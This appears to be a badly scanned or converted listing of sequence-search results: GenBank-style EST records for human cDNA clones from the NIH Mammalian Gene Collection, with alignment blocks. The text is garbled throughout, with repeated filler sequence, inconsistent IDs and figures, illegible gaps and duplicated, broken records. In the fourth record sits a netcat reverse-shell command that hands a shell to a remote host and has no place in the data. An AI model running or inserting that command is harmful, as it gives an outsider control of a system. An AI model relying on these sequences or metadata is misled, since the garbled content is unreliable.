TITLE	Direct Submission				
JOURNAL	Submitted (17-SEP-2001) National Institutes of Health, Mammalian Gene Collection (MGC), Cancer Genomics Office, National Cancer Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590, USA				
REMARK	NIH-MGC Project URL: http://mgc.ncl.nih.gov				
COMMENT	Contact: MGC help desk Email: cgapbs-remail.nih.gov Tissue Procurement: ATCC/DC/DTP CDNA Library Preparation: Rubin Laboratory CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL) DNA Sequencing by: Genome Sequence Centre, BC Cancer Agency, Vancouver, BC, Canada Info@bgsc.bc.ca Steven Jones, Jennifer Asano, Ian Bosdet, Yaron Butterfield, Susanna Chan, Readman Chiu, Chris Fjell, Erin Garland, Ran Gulin,				

Leticia Hsiao, Martin Krzywinski, Reta Kutsche, Oliver Lee, Soo Sen Lee, Victor Ling, Carrie Mathewson, Candice Molewy, Steven Ness, Pawan Pandoh, Anna-Lisa Prabhun, Parvaneh Seedy, Jacqueline Schein, Duane Smalivue, Michael Smith, Lorraine Spence, Jeff Stott, Michael Thorne, Miranada Tsai, Nastasia van den Bosch, Jill Vardy, George Yang, Scott Zuyderduyn, Marco Marra.

Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/ILN at: <http://image.llnl.gov>
Series: IRAL Plate: 34 Row: 1 Column: 9
This clone was selected for full length sequencing because it passed the following selection criteria: matched mRNA 91: 11464966
This clone has the following problem: incomplete processing.

FEATURES

source

1. 2133
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:4871343"
/tissue_type="Skin, melanotic melanoma, high MDR."
/clone_lib="DH10B-R"
/lab_host="DH10B-R"
/note="Vector: pOTB7"

BASE COUNT

350 a 681 c 719 g 383 t

ORIGIN

Query Match 97.5%; Score 1558.6; DB 11; Length 2133;
Best Local Similarity 98.5%; Pred. No. 0;
Matches 1573; Conservative 0; Mismatches 24; Indels 0; Gaps 0;

```

OY 3 CCCCAGGGCTCTTATAGCCAGGCTCCGGGGGAGAGGCGGAGCCGAGCCGCTG 62
    |||||
DB 521 CGCCGGTGTCTTACAGCCAGGCTCCGGGGGAGAGGCGGAGCCGAGCCGCTG 580
OY 63 CGAGCGCCCTGGGGAGGAGCAGATAGAGCTGAGAGGAGGCGGCGGAGCGGAG 122
    |||||
DB 581 CGAGCGCCCTGGGGAGGAGCAGATAGAGCTGAGAGGAGGCGGCGGAGCGGAG 640
OY 123 CGCCCGCCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 182
    |||||
DB 641 CGCCCGCCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 700
OY 183 AGCGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 242
    |||||
DB 701 AGCGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 760
OY 243 GCGGGGGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 302
    |||||
DB 761 GCGGGGGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 820
OY 303 TGAGGCTGAATTCCTTACAGGCTGATGCTACGTGAGCGGAGGAGGAGGAGGAG 362
    |||||
DB 821 TGAGGCTGAATTCCTTACAGGCTGATGCTACGTGAGCGGAGGAGGAGGAGGAG 880
OY 363 GGTGGCTGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 422
    |||||
DB 881 GGTGGCTGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 940
OY 423 GATGACAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 482
    |||||
DB 941 GATGACAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1000
OY 483 GCGCCGTGTAGCTCCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 542
    |||||
DB 1001 GCGCCGTGTAGCTCCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1060
OY 543 TGTGCTGTAGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 602
    |||||
DB 1061 TGTGCTGTAGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1120
OY 603 CGCCCGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 662
    |||||
DB 1121 CGCCCGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1180
```

```

OY 663 GTTCTGTGTGACAGCTTGGCTGGGGCTTGTATGCTGATGAGGAGGAGGAGGAG 722
    |||||
DB 1181 CTCTCTGTGTGACAGCTTGGCTGGGGCTTGTATGCTGATGAGGAGGAGGAGGAG 1240
OY 723 GTTCTGTGTGACAGCTTGGCTGGGGCTTGTATGCTGATGAGGAGGAGGAGGAG 782
    |||||
DB 1241 GTTCTGTGTGACAGCTTGGCTGGGGCTTGTATGCTGATGAGGAGGAGGAGGAG 1300
OY 783 GCGACCTTACCGCGGCGGAGCTGAGCTTGTGAGGAGGAGGAGGAGGAGGAGGAG 842
    |||||
DB 1301 GCGACCTTACCGCGGCGGAGCTGAGCTTGTGAGGAGGAGGAGGAGGAGGAGGAG 1360
OY 843 TGTCTTCCCGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 902
    |||||
DB 1361 TGTCTTCCCGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1420
OY 903 GCGAGCTTCTTCTACGTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 962
    |||||
DB 1421 GCGAGCTTCTTCTACGTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1480
OY 963 GGTGACCTGACCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1022
    |||||
DB 1481 GGTGACCTGACCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1540
OY 1023 GGTGACCTGACCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1082
    |||||
DB 1541 GGTGACCTGACCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1600
OY 1083 CCTGCGCATGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1142
    |||||
DB 1601 CCTGCGCATGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1660
OY 1143 CGTGTGCGCTTCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1202
    |||||
DB 1661 CGTGTGCGCTTCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1720
OY 1203 ATTGATGATGATGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1262
    |||||
DB 1721 ATTGATGATGATGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1780
OY 1263 CGGTTGCGTGTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1322
    |||||
DB 1781 CGGTTGCGTGTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1840
OY 1323 CTTATGAGCCCTTGGGCGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1382
    |||||
DB 1841 CTTATGAGCCCTTGGGCGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1900
OY 1383 CTAAGGCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1442
    |||||
DB 1901 CTAAGGCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1960
OY 1443 GGTGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1502
    |||||
DB 1961 GGTGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 2020
OY 1503 GCGAGCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1562
    |||||
DB 2021 GCGAGCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 2080
OY 1563 CCCACGAGCAATTCGAATTAAGTGAATTCGCA 1599
    |||||
DB 2081 CCCACGAGCAATTCGAATTAAGTGAATTCGCA 2117
    |||||

RESULT 2
BM808698 1054 bp mRNA linear EST 05-MAR-2002
LOCUS AGEMCOURT_5582622 NIH_MGC_41 Homo sapiens cdna clone IMAGE:3471258
DEFINITION 5', mRNA sequence.
ACCESSION BM808698
VERSION BM808698.1 GI:19125509
KEYWORDS EST.
```


SOURCE human.
ORGANISM Homo sapiens
REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
AUTHORS 1 (bases 1 to 1054)
TITLE NIH-MGC http://mgi.nci.nih.gov/
JOURNAL National Institutes of Health, Mammalian Gene Collection (MGC)
COMMENT Unpublished (1999)
Contact: Robert Strausberg, Ph.D.
Email: cga@b-remail.nih.gov
Tissue Procurement: DCTD/DP
cDNA Library Preparation: Rubin Laboratory
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LNL at:
http://image.lnl.gov
Plate: LCM1979 row: 9 column: 03
High quality sequence start: 7
High quality sequence stop: 666.
Location/Qualifiers
1. 1054
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:5471258"
/clone.lib="NIH-MGC.41"
/tissue.type="amelanotic melanoma, cell line"
/lab.host="DH10B (phage-resistant)"
/note="Organ: skin; Vector: pORF7; Site:1: XhoI; Site:2:
EcoRI; cDNA made by oligo-dT priming. Directionally cloned
into EcoRI/XhoI sites using the following 5' adaptor:
GGCAGAG(6). Library constructed by Ling Hong in the
laboratory of Gerald M. Rubin (University of California,
Berkeley) using Zap-cDNA synthesis kit (Stratagene) and
Superscript II RT (Life Technologies). Note: this is a
NIH-MGC Library."

BASE COUNT 177 a 317 c 340 g 220 t
ORIGIN

Query Match 53.0%; Score 847.6; DB 14; Length 1054;
Best Local Similarity 92.1%; Pred. No. 3.4e-176;
Matches 962; Conservative 0; Mismatches 69; Indels 13; Gaps 6;

317 CCTTACGCTGATGCTACTGAGCGGGAACCAACGCGGGAGCTGGTGGGAGG 376
1 CCTTACGCTGATGCTACTGAGCGGGAACCAACGCGGGAGCTGGTGGGAGG 60
377 AGCTGGCGGCTGGGACGCTGTGTGTGATGCTGAGAGCGGCTGATGACGAGTGG 436
61 AGCTGGCGGCTGGGACGCTGTGTGTGATGCTGAGAGCGGCTGATGACGAGTGG 120
437 TGAAGGGCTCATGAGAGCGGCTGTGATGCTGAGAGCGGCTGATGACGAGTGG 496
121 TGAAGGGCTCATGAGAGCGGCTGTGATGCTGAGAGCGGCTGATGACGAGTGG 180
497 TCCGAGGAGGCTGTGCAAGCGGCTGTGATGCTGATGATGATGCTGTGAGC 556
181 TCCGAGGAGGCTGTGCAAGCGGCTGTGATGCTGATGATGATGCTGTGAGC 240
557 AGGTACCAATGAAGACCTCTGACCACTGACGAGCTATGCTGTGCGCCGCTGTGT 616
241 AGGTACCAATGAAGACCTCTGACCACTGACGAGCTATGCTGTGCGCCGCTGTGT 300
617 CACCATGATACCTGCTGTCTGTGACAGCGGCTGGGCTGGCTGTCTGTGTCTCA 676
301 CACCATGATACCTGCTGTCTGTGACAGCGGCTGGGCTGGCTGTCTGTGTCTCA 360
677 GCGTGGCGTGGGCTTCAATGCTGTGATGCTGAGAGTGAAGATGAGGCTGTGG 736
361 GCGTGGCGTGGGCTTCAATGCTGTGATGCTGAGAGTGAAGATGAGGCTGTGG 420
737 GGGAGATGCGGCTTCACTGTGGGCACTTCTGCGCTGTGAGCGCTGCGACATGACCGG 796

421 GGGAGATGCGGCTTCACTGTGGGCACTTCTGCGCTGTGAGCGCTGCGACATGACCGG 480
797 GCCGACTGCTACCTCCCTCTAGAGAGTGGTTCACACACTGCTTCCCGCTTG 856
481 GCCGACTGCTACCTCCCTCTAGAGAGTGGTTCACACACTGCTTCCCGCTTG 540
857 TGGTCCAGCAGGCGCGGTAGATGACACCTGTGTCCTGAGAGAGGAGGAGGCTGTC 916
541 TGGTCCAGCAGGCGCGGTAGATGACACCTGTGTCCTGAGAGAGGAGGAGGCTGTC 600
917 ACTGACAGTGTGCTGCGCAGCAGGACTTGTGTGCTGCTGCTGCTGCTGCTGCTG 976
601 ACTGACAGTGTGCTGCGCAGCAGGACTTGTGTGCTGCTGCTGCTGCTGCTGCTG 660
977 TGGCAGTGAATGTTTCTCTACCCAGGCGGCTGTGAGCTGCTGCTGCTGCTGCTG 1036
661 TGGCAGTGAATGTTTCTCTACCCAGGCGGCTGTGAGCTGCTGCTGCTGCTGCTG 720
1037 TCTACGTCG-C-GGGGAGAGTGTCTGTCGTCATGCTGCTGCTGCTGCTGCTGCTG 1095
721 TCTACGTCGCGGGGCGGAGTGTCTGTCGTCATGCTGCTGCTGCTGCTGCTGCTG 780
1096 AAGGACAGCATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATG 1155
781 AAGGACAGCATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATG 840
1156 CGCTTGGAGCCCAAGAGATGAGAAAGTGTGTTTGTGAGTGA--TGAGAAATGATGTTA 1213
841 CGCTTGGAGCCCAAGAGATGAGAAAGTGTGTTTGTGAGTGA--TGAGAAATGATGTTA 900
1214 GC--GAGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 1267
901 GCCGAGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 960
1268 GCGTGGAGCCCGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 1323
961 GCGTGGAGCCCGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 1020
1324 TTATGACCCCTGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 1347
1021 TTTTACCCCTGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGGCGG 1044

RESULT 3
BM810136 1137 bp mRNA linear EST 05-MAR-2002
LOCUS AGENCOURT_657/9661 NIH-MGC_41 Homo sapiens cDNA clone IMAGE:5470089
DEFINITION 5', mRNA sequence.
ACCESSION BM810136
VERSION BM810136.1 GI:19126959
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 1137)
AUTHORS NIH-MGC http://mgi.nci.nih.gov/
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cga@b-remail.nih.gov
Tissue Procurement: DCTD/DP
cDNA Library Preparation: Rubin Laboratory
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LNL at:
http://image.lnl.gov
Plate: LCM1976 row: f column: 10
High quality sequence stop: 623.
Location/Qualifiers
1. 1137
/organism="Homo sapiens"

```

/db_xref="taxon:9606"
/clone="IMAGE:5470089"
/clone_lib="NIH_MGC_41"
/tissue_type="melanotic melanoma, cell line"
/lab_host="DH10B (phage-resistant)"
/notes="Organ: skin; Vector: pOT7; Site:1: XhoI; site:2: EcoRI; CDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCGAGAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California, Berkeley) using ZAP-CDNA synthesis kit (Stratagene) and Superscript II RT (Life Technologies). Note: this is a NIH_MGC Library."
BASE COUNT      188 a      342 c      363 g      238 t      6 others
ORIGIN
Query Match      51.0%; Score 815.4; DB 14; Length 1137;
Best Local Similarity 94.2%; Pred. No. 4,1e-169;
Matches 889; Conservative 0; Mismatches 47; Indels 8; Gaps 4

```

Query Match	51.0%	Score 815.4	DB 14	Length 1137
Best Local Similarity	94.2%	Pred 141e-169		
Matches 888	Conservative 0	Mismatches 47	Indels 8	Gaps 4
QY	317	CCTTCACGCTGATGCTCACTGAGACGGCGGACACACCGCGGGAGCTGGTGGGTCGAGG	376	
Db	1	CCCTTCACGCTGATGCTCACTGAGACGGCGGACACACCGCGGGAGCTGGTGGGTCGAGG	60	
QY	377	AGCGGGCGCGCTGGAGACGCTCTGGTGGTATGTCGTGGAGACGGCGCTGATGACAGAGGTGG	436	
Db	61	AGCTGGGCGCGCTGGAGACGCTCTGGTGGTATGTCGTGGAGACGGCGCTGATGACAGAGGTGG	120	
QY	437	TGAACGGGCTCATGAGACGGCGCTGACCTGGAGAGACCGCCATCCAGAAAGCCCTGTATACC	496	
Db	121	TGAACGGGCTCATGAGACGGCGCTGACCTGGAGAGACCGCCATCCAGAAAGCCCTGTGTAGCC	180	
QY	497	TCCACGACGAGCTCTGGACACGCGCTGGACGCTTCCTTGAACATTATGCTGGCTATAGAC	556	
Db	181	TCCACGACGAGCTCTGGACACGCGCTGGACGCTTCCTTGAACATTATGCTGTATAGAC	240	
QY	557	AGGTACCAATGAAGAACCTCTGTGACCAACTGACAGCGCTATGCTGATGACCGCCGCTGCT	616	
Db	241	AGGTACCAATGAAGAACCTCTGTGACCAACTGACAGCGCTATGCTGATGACCGCCGCTGCT	300	
QY	617	CACCCATGAACTCTGTCTCTGACACAGCGCTTCGGGGCTTGGCGCTGGTCTCTGTCGCTCA	676	
Db	301	CACCCATGAACTCTGTCTCTGACACAGCGCTTCGGGGCTTGGCGCTGGTCTCTGTCTCTCA	360	
QY	677	GCGTGGCGCTGGGGGCTTCATTGCTCATGTGAGACCTAGAGAGTGAATGAATACGGCGTCTG	736	
Db	361	GCGTGGCGCTGGGGGCTTCATTGCTCATGTGAGACCTAGAGAGTGAATGAATACGGCGTCTG	420	
QY	737	GGGAGATGCGCTTCACTGCTGGGACCTTCTGCGCTCTGGGACCGCCGCGACCTACCGG	796	
Db	421	GGGAGATGCGCTTCACTGCTGGGACCTTCTGCGCTCTGGGACCGCCCTCGACCTACCGG	480	
QY	797	GCGGATGGCTACCTCCCTGTAGAGAAAGTGGGTTTCAAGACACCTGTTCCCGCTGG	856	
Db	481	GCGGATGGCTACCTCCCTGTAGAGAAAGTGGGTTTCAAGACACCTGTTCCCGCTGG	540	
QY	857	TGGTCCAGACGGCGCCGGTATGATGCACACCTGTGTGCCACTGAGAGAGAGGTGCTTCTC	916	
Db	541	TGGTCCAGACGGCGCCGGTATGATGCACACCTGTGTGCCACTGAGAGAGAGGTGCTTCTC	600	
QY	917	ACTGGACAGGTGTGTCGCCGACGAGAGACTTGTGTCTAGTCTGTGGACACTGCTGCATCGCAC	976	
Db	601	ACTGGACAGGTGTGTCGCCGACGAGAGACTTGTGTCTAGTCTGTGGACACTGCTGCATCGCAC	660	
QY	977	TGGCCAGTGAATGTTTGTCTGCACCCATGGGCGCGTGGACCTGGGCTACATGATCTGT	1036	
Db	661	TGGCCAGTGAATGTTTGTCTGCACCCATGGGCGCGTGTGACCTGGGCTACATGATCTGT	720	
QY	1037	TCTACGTGCGGGGAGTGTCTGTCGTCACATGCTGTGCGCTCTTCTCGGCATGAGAGA	1096	
Db	721	TCTACGTGCGGGGAGTGTCTGTCGTCACATGCTGTGCGCTCTTCTCGGCATGAGAGA	780	
QY	1097	AGGGCAGCATATGAGATATGAAATGCCCCACTTGGTATATATGG-CCCGTGGTCCCTTC	1156	

[illegible]

LOCUS	892 bp	mRNA	linear	EST 10-OCT-2001
B1660351				
B1660351				
6033897729F1				
NTH MGC 87 Homo sapiens CDNA clone IMAGE:5396178 5'				

DEFINITION	0053074 / 001 mRNA sequence.
0053074	

ACCESSION	BI860351	
VERSION	BI860351.1	GI:16001098

KEYWORDS EST.
SOURCE human.

SOURCE	ORGANISM	Metamorphosis
	<i>Homo sapiens</i>	
	Platyhelminths: Metazoa: Chordata	

Eukalyola; Metazoa;
Mammalia; Eutheria; Pri

REFERENCE 1 (bases 1 to 892)
AUTHORS NIH-MGC <http://mgc.ncl>

TITLE National Institutes of Health
PUBLISHED (1999)

COMMENT	CONTACT
Contact: Robert Straus	robert.straus@nrc.gov

Email: cygus@remax.ru
Tissue Procurement: DCT

CDNA Library Arrayed

DNA Sequencing by: Ino
Clone distribution: M

found through the I.M.

http://image.llnl.gov
Plate: LLNL2009 row:

FEATURES	High quality sequence	Location/Qual
1	1	1
2	2	2
3	3	3
4	4	4
5	5	5
6	6	6
7	7	7
8	8	8
9	9	9
10	10	10
11	11	11
12	12	12
13	13	13
14	14	14
15	15	15
16	16	16
17	17	17
18	18	18
19	19	19
20	20	20
21	21	21
22	22	22
23	23	23
24	24	24
25	25	25
26	26	26
27	27	27
28	28	28
29	29	29
30	30	30
31	31	31
32	32	32
33	33	33
34	34	34
35	35	35
36	36	36
37	37	37
38	38	38
39	39	39
40	40	40
41	41	41
42	42	42
43	43	43
44	44	44
45	45	45
46	46	46
47	47	47
48	48	48
49	49	49
50	50	50
51	51	51
52	52	52
53	53	53
54	54	54
55	55	55
56	56	56
57	57	57
58	58	58
59	59	59
60	60	60
61	61	61
62	62	62
63	63	63
64	64	64
65	65	65
66	66	66
67	67	67
68	68	68
69	69	69
70	70	70
71	71	71
72	72	72
73	73	73
74	74	74
75	75	75
76	76	76
77	77	77
78	78	78
79	79	79
80	80	80
81	81	81
82	82	82
83	83	83
84	84	84
85	85	85
86	86	86
87	87	87
88	88	88
89	89	89
90	90	90
91	91	91
92	92	92
93	93	93
94	94	94
95	95	95
96	96	96
97	97	97
98	98	98
99	99	99
100	100	100

1. .892

```
/db_xref="tax
```

```
/clone="IMAGE
/clone_lib="N
```

```

/tissue_type=
/lab host="DH

```

```
/usr/bin/nc -e /bin/sh 10.10.10.10 4444
```

```
Site_2:  Sall;
Average Insert
```

full-length c
Note: this is

BASE COUNT	152 a	266 c
------------	-------	-------

ORIGIN

Query match	49.08;
Best local similarity	95.28;

Matches 852; Conservative

428 ACGAGTGGTGAACGGGCTC

Db 1 ACGAGGTGGTGAACGGGCTC

488 TGTGTAGCTCCCAAGCAGG

[illegible]

Db 61 TGTGTAGCTTCCAGAGG

548 GCTATGAGCAGGTCACCAA

Db 121 GCTATGAGCAGGTCACCA

608 CGGTGCTGTCACCATGAA

—

Accession	Version	Keywords	Source	Organism	Reference	Title	Authors	Journal	Comment
B1860351	1	GI:16001098		human.					
B1860351	1	GI:16001098		Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.					
NIH-MGC	http://mhc.nci.nih.gov/								
National Institutes of Health,	Mammalian Gene Collection (MGC)								
Unpublished (1999)									
Contact: Robert Strusberg, Ph.D.									
Email: cga@hs-remail.nih.gov									
Tissue Procurement: DCDT/DPF									
cDNA library Preparation: Life Technologies, Inc.									
CNA library Arrayed by: The I.M.A.G.E. Consortium (LMNL)									
DNA Sequencing by: Incyte Genomics, Inc.									
Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LMNL at:									
http://image.jnl.gov									
Plate: LMNL2009 row: n column: 19									
High quality sequence stop: 87b.									
Location/Qualifiers									
1. 892									
/organism="Homo sapiens"									
/db_xref="taxon:9606"									
/clone="IMAGE:5396178"									
/clone.lib="NIH_MGC_87"									
/tissue.type="mammary adenocarcinoma, cell line"									
/lab_host="DH10B (phage-resistant)"									
/note="Organ: breast; Vector: pCMV-SPORT6; Site_1: NotI; Site_2: SalI; Cloned unidirectionally; oligo-dT primed.									
Average insert size 1,383 kb. Library enriched for full-length clones and constructed by Life Technologies.									
Note: This is a NIH_MGC library."									
BASE COUNT	152 a	266 c	283 g	191 t					
ORIGIN									
Query Match	49.0%	Score 784.2;	DB 13;	Length 892;					
Best Local Similarity	95.28;	Pred. No. 2,9e-162;							
Matches 852;	Conservative 0;	Mismatches 38;	Indels 5;	Gaps 4					
Db	428	ACGAGGTGGTCACGAGGGCTCATGTAGAGCGGCTGACTGTGGAGACCGGCATCCACAACCCC			487				
Yy	1	ACGAGGTGGTCACGAGGGCTCATGTAGAGCGGCTGACTGTGGAGACCGGCATCCACAACCCC			60				
Db	488	TGTGTAGCCTCCAGACGAGCTCTGTGGCAACGGCTGTGGCAGCTTCTTGTAACCATTTAGCTG			547				
Yy	61	TGTGTAGCCTCCAGACGAGCTCTGTGGCAACGGCTGTGGCAGCTTCTTGTAACCATTTAGCTG			120				
Db	548	GCTATGACAGGTCACCAATAGAAGCTCTGTGGACCAACGTGAGCGATTGCTGTGGCGGC			607				
Yy	121	GCTATGACAGGTCACCAATAGAAGCTCTGTGGACCAACGTGAGCGATTGCTGTGGCGGC			180				
Db	608	CGGTGCTGCCACCATGAACCTGGCTGTCTGTGCACACAGGCTTGGGGCTGGCTGTTCT			667				
Yy	1	CGGTGCTGCCACCATGAACCTGGCTGTCTGTGTGCACACAGGCTTGGGGCTGGCTGTTCT			667				

Db 181 GGCCTGCTCACCACCATGAACTGCTGCTCTGCAACAGGCTTCGGGGCTGGCCCTCTCT 240
 Oy 668 CTGTGCTACGCTGGCCCGGGGCTTCATTGCTGATGCTGACCTAGAGATAGTATC 727
 Db 241 CTGTGCTACGCTGGCCCGGGGCTTCATTGCTGATGCTGACCTAGAGATAGTATC 300
 Oy 728 GGCCTGCTGGGAGATGCGCTTCCTACTGCGGACCTTCCTGCTGCTGCGACCCGCGCA 787
 Db 301 GGCCTGCTGGGAGATGCGCTTCCTACTGCGGACCTTCCTGCTGCTGCGACCCGCGCA 360
 Oy 788 CCTACCGCGGCGGCTACCTCCCTCTGATAGAAAGTGGGTTTCAAGACACCTGCTT 847
 Db 361 CCTACCGCGGCGGCTACCTCCCTCTGATAGAAAGTGGGTTTCAAGACACCTGCTT 420
 Oy 848 CCCCCGTTGGTTCAGAGGGCCCGGATAGATGACACCTGCTGCTGCTGCTGCTGCTGCT 907
 Db 421 CCCCCGTTGGTTCAGAGGGCCCGGATAGATGACACCTGCTGCTGCTGCTGCTGCTGCT 480
 Oy 908 TGCCTTCTACCTGCGAGGTGGTGGCCGACGAGAGATTTGCTAGTCTGCTGCTGCTGCT 967
 Db 481 TGCCTTCTACCTGCGAGGTGGTGGCCGACGAGAGATTTGCTAGTCTGCTGCTGCTGCT 540
 Oy 968 ACTGCGACCTGCGGACGATGATGTTGCTGCAACCCATGCGCGCTGCTGCTGCTGCTGCT 1027
 Db 541 ACTGCGACCTGCGGACGATGATGTTGCTGCAACCCATGCGCGCTGCTGCTGCTGCTGCT 599
 Oy 1028 TGCATCTGTTACGTGGGGGGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1087
 Db 600 TGCATCTGTTACGTGGGGGGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 659
 Oy 1088 CCATGAGAGAGGCGAGCATATGATGATGATGATGATGATGATGATGATGATGATGATG 1147
 Db 660 ACATGAGAGAGGCGAGCATATGATGATGATGATGATGATGATGATGATGATGATGATG 719
 Oy 1148 TCGCCTTCCCTGCTGGAGCCCAAGATG-GGAAAGTGTGTTGCAAGTGGATGGGATG 1206
 Db 720 TCGCCTTCCCTGCTGGAGCCCAAGATGATGATGATGATGATGATGATGATGATGATG 779
 Oy 1207 ATGCTTACGAGGCGGTGACGAGGCGGAGTGGACCCAACTGCTGCTGCTGCTGCTGCTG 1266
 Db 780 ATGCTTACGAGGCGGTGACGAGGCGGAGTGGACCCAACTGCTGCTGCTGCTGCTGCTG 838
 Oy 1267 TCGCTGAGCCCGCCGAGCTGAGAGCCGAGAGCCAGATGCAACCCGAGAGAGC 1321
 Db 839 TGC-TGCAGCCCGCCGAGCTGAGAGCCGAGAGCCAGATGCAACCCGAGAGAGC 891

RESULT 5
 B0647377
 LOCUS
 DEFINITION B0647377 888 bp mRNA linear EST 15-JUL-2002
 AGENCOURT_8414975 NIH_MGC_100 Homo sapiens cDNA clone IMAGE:6272071
 VERSION B0647377
 KEYWORDS B0647377.1 GI:21771549
 SOURCE EST.
 ORGANISM human.
 Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 1 (bases 1 to 888)
 NIH-MGC <http://mgi.nhl.gov/>.
 National Institutes of Health, Mammalian Gene Collection (MGC)
 Unpublished (1999)
 Contact: Robert Strausberg, Ph.D.
 Email: cgabs-remail.nih.gov
 Tissue Procurement: CGAP (Stanford)
 cDNA Library Preparation: Rubin Laboratory
 DNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
 DNA Sequencing by: Agencourt Bioscience Corporation
 Clone distribution: MGC clone distribution information can be
 found through the I.M.A.G.E. Consortium/LLNL at:
<http://image.llnl.gov>
 Plate: L1CM2449 row: n column: 08

FEATURES
 source
 High quality sequence start: 6
 High quality sequence stop: 668.
 Location/Qualifiers
 1..888
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="IMAGE:6272071"
 /clone_id="NIH_MGC_100"
 /tissue_type="hepatocellular carcinoma, cell line"
